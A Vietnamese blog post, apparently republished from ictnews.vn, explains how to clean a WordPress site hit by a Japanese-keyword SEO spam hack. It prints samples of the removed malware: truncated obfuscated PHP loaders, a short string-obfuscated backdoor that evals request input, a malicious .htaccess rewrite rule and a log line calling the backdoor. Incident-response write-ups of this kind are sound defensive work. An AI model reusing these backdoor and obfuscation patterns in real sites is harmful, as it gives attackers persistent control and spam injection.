Mình biết phải tốn rất nhiều thời gian và công sức để SEO các từ khóa lên Top. Tuy nhiên, khi các website khi không may bị dính mã độc sẽ khiến công sức các bạn gầy dựng bao lâu có thể tan thành mây khói chỉ trong vài ngày.
Bài viết sau đây sẽ hướng dẫn các bạn cách chi tiết cách fix lỗi site bị nhiễm mã độc và index tiếng Nhật. Mình sẽ không đi sâu vào lý do việc website bị hack.
Các website dùng WordPress thường là đối tượng bị dính mã độc khá nặng, khiến cho website tự động index link tiếng Nhật lên kết quả tìm kiếm Google, điển hình như sau:
Website bị nhiễm mã độc và index link tiếng Nhật sử dụng liên kết đến các cửa hàng bán hàng giả mạo và sau đó được hiển thị trong tìm kiếm của Google (Có thể kiểm tra những đường link này theo dạng site:domain). Với loại hack này, hacker thường sẽ tự thêm mình làm chủ sở hữu tài sản trong Google Webmaster Tool (WMT). Vì thế, bước đầu tiên bạn phải xóa quyền sở hữu của tài khoản lạ trong WMT
- Vào đường link sau https://www.google.com/webmasters/verification
- Vào "Chi tiết xác minh" để xem cách "tài khoản lạ" xác minh sở hữu website.
- Sau đó, vào CMS để xóa quyền sở hữu website này. (Trước khi bắt đầu, tạo một bản sao của bất kỳ tệp nào trước khi bạn xóa chúng, trong trường hợp bạn cần khôi phục chúng sau)
+ Mã thông báo xác minh cần xóa thường là tệp HTML trên thư mục gốc của trang web trên CMS.
+ Bạn thường có thể kiểm tra xem đã xoá thành công mã thông báo xác minh được tạo ra bằng cách điều hướng đến tệp token xác minh mô phỏng như thế nào www.example.com/google[random number and letters].html
Ví dụ: Website của mình có một mã xác minh: google-site-verification: google0003f30bc19bd379.html. Trên thanh URL gõ đường dẫn Domain/google0003f30bc19bd379.html. Nếu kết quả là 404 thì bạn đã xóa thành công tài khoản này
- Đi kèm với xác minh chủ sở hữu bằng tệp token, hacker cũng chèn vào một file Sitemap chứa các link độc hại để website index các link này nhanh hơn. Bạn cũng cần xóa file này đi
Đây là cách rất nhanh để xác định các tập tin được hacker rải mã độc vào CMS. Đây là một plug-in về bảo mật miễn phí của WordPress . Sử dụng chức năng "scan" để quét các file. Sau đấy bạn dựa vào đó để sửa từng thư mục. Update các theme, phiên bản WordPress .
Quét qua các tệp tin đáng ngờ mà bạn đã xác định để tìm các khối mã obfuscated. Mã obfuscated như một sự kết hợp của các chữ cái và chữ số sắp xếp lộn xộn thường được đặt trước bởi sự kết hợp của các hàm PHP như:
base64_decode, rot13, eval, strrev, gzinflate
Một số cấu trúc mình đã xóa:
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = 'mapss259.xml';
$jdir = '';
$smuri_tmp = smrequest_uri();
if($smuri_tmp==''){
$smuri_tmp='/';
}
$smuri = base64_encode($smuri_tmp);
$dt = 0;
function smrequest_uri(){
if (isset($_SERVER['REQUEST_URI'])){
$smuri = $_SERVER['REQUEST_URI'];
}else{
if(isset($_SERVER['argv'])){
$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
}else{
$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
}
}
return $smuri;
}
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5....");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O....
?>
/**
* @package wordpresss
* @subpackage Template
*
* @copyright Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
$p = getcwd();
echo $p;
?>
$uf="aXRvbmd0b";
$ka="ZXZhbCgkX1";
$pjt="JFUVVFU1Rb";
$vbl = str_replace("ti","","tistittirti_rtietipltiatice");
$iqw="25nXSk7";
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke");
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn");
$mpy = $sbp('', $bkf($vbl("W", "", $ka.$pjt.$uf.$iqw))); $mpy();
?>
Decode đoạn trên ra kết quả . Bạn sẽ tìm thấy request này ở file error_log
Một số dòng có ở đầu file có dạng :
Bạn có thể so sánh file bị thay đổi so với mã nguồn Wordpress : https://github.com/WordPress/WordPress nếu không biết cần phải xóa những đọan nào.
- Tìm kiếm vị trí các file .htaccess. Keyword ".htaccess file location" + tên CMS (WordPress, Joomla, ...)
- Tìm kiếm file .htaccess mặc định. Keyword "default .htaccess file" + tên CMS (WordPress, Joomla, ...), thay thế vào các file đã có.
Lưu ý: .htaccess thường là một "tập tin ẩn". Hãy cho phép hiển thị tất cả các tập tin ẩn khi bạn đang tìm kiếm vị trí những file đó
Sử dụng công cụ "Tìm nạp như Google" trên WMT để index lại trang chủ SAU KHI XÓA SẠCH MÃ ĐỘC
Vào phần "Lỗi thu thập dữ liệu" trên WMT để xóa các link 404
Do cache nên sau khi fix sẽ phải chờ 1 khoảng time dài để biết website đã fix hết link tiếng Nhật chưa. Có thể kiểm tra nhanh bằng các cách sau:
- Thứ hạng từ khóa trở lại
- Gõ tìm kiếm sau: "site:domain japan"
Có một việc mất khá nhiều thời gian của mình là mã độc ở tập tin index.php. Mỗi khi mình xóa, đến hôm sau lại xuất hiện mã độc tại file này.
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = 'mapss259.xml';
$jdir = '';
$smuri_tmp = smrequest_uri();
if($smuri_tmp==''){
$smuri_tmp='/';
}
$smuri = base64_encode($smuri_tmp);
$dt = 0;
function smrequest_uri(){
if (isset($_SERVER['REQUEST_URI'])){
$smuri = $_SERVER['REQUEST_URI'];
}else{
if(isset($_SERVER['argv'])){
$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
}else{
$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
}
}
return $smuri;
}
$O00OO0=urldecode("%6E1%7A%62...");$O00O0O=$O00OO0{3}...;eval($O00O0O("JE8wTzAwMD0....
?>
Trong khi phân tích các tập tin, mình tìm thấy một tập tin đáng ngờ. Tên tệp là " db_lookups.php " trong thư mục public_html\wp-content\themes\twentyfourteen. Sau đó, mình tìm trong mã nguồn WordPress thì "Không có tập tin nào tên là db_lookups.php"
Ngoài ra còn có tập tin " comay.php " trong thư mục public_html\wp-content\themes\twentyfourteen. Cũng không có trong mã nguồn WordPress và cần xóa. Tập tin này tự động sinh ra các link khiến cho lượng index website tăng lên hàng nghìn, hàng trăm nghìn link
$code='bas'.'e64_d'.'eco'.'de';
$yzcW=gzinflate($code($yzcW));
for($i=0;$i<>
{
$yzcW[$i] = ord($yzcW[$i])-1);
}
return $yzcW;
}eval(OLsy("
7b37e1zHcSD6O/R9+h+ao7HOjDiYBwi+AA4IEA8SEgh...));?>
Tiếp theo, kiểm tra trong file .htaccess
# BEGIN WordPress
RewriteEngine On
RewriteRule ^[a-zA-Z0-9]{3}([a-zA-Z0-9]{5,19})/([0-9]{1,7}).xhtml$ index.php?tempweb=$1&smid=$2 [L]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
Trong tập mặc định file .htaccess không có dòng này:
RewriteRule ^[a-zA-Z0-9]{3}([a-zA-Z0-9]{5,19})/([0-9]{1,7}).xhtml$ index.php?tempweb=$1&smid=$2 [L]
Sau đó, mình kiểm tra file access_log trong thư mục logs/access_log tìm thấy 1 request đến file db_lookups.php
[21/Aug/2017:10:47:40 +1000] "GET /wp-content/themes/twentyfourteen/db_lookups.php?u=i&m=UJSLJ7JVSK9U&web=chargespeed.pw&k=r 1" 200 171 "-" "Googlebot"
Mình đã xóa mã được chèn vào index.php và nhập vào đường dẫn sau:
Domain/wp-content/themes/twentyfourteen/db_lookups.php?u=i&m=UJSLJ7JVSK9U&web=chargespeed.pw&k=r
Sau đó kiểm tra tập tin index.php và đã có mã độc trở lại.
Phần 5 này mình chia sẻ cho những ai đang thực hiện bảo mật bằng website bằng file .htaccess và không muốn sửa các tập tin này.
Hy vọng các bạn có thể tự fix lỗi Website bị nhiễm mã độc và index tiếng Nhật dựa trên các thông tin này của mình!
Duẩn Nguyễn
Nguồn: Ictnews.vn
FrontEnd Developer (ReactJS, VueJS, HTML)
Location: Hồ Chí Minh
Salary: 10 Mil - 16 Mil VND
Chuyên Viên Phát Triển Ứng Dụng Web
Công ty cổ phần Người Bạn Vàng
Location: Hồ Chí Minh
Salary: Competitive
Location: Hồ Chí Minh
Salary: Competitive
Senior Backend Developer (Java)
Location: Hồ Chí Minh
Salary: Competitive
Senior Fullstack Developer (C#, .Net)
Concung.com - Con Cung Joint Stock Company
Location: Hồ Chí Minh
Salary: Competitive
Location: Hưng Yên
Salary: Competitive
CÔNG TY TNHH AMERICA INDOCHINA MANAGEMENT VIETNAM
Location: Hồ Chí Minh
Salary: Competitive
Location: Hà Nội
Salary: 8 Mil - 15 Mil VND
CÔNG TY CỔ PHẦN ĐẦU TƯ VÀ THƯƠNG MẠI QUỐC TẾ ICOM
Location: Hà Nội
Salary: Competitive
Cộng Tác Viên Triển Khai Phần Mềm Ứng Dụng
Công Ty Cổ Phần Dịch vụ Công nghệ Tin Học HPT
Location: Hà Nội
Salary: 10 Mil - 15 Mil VND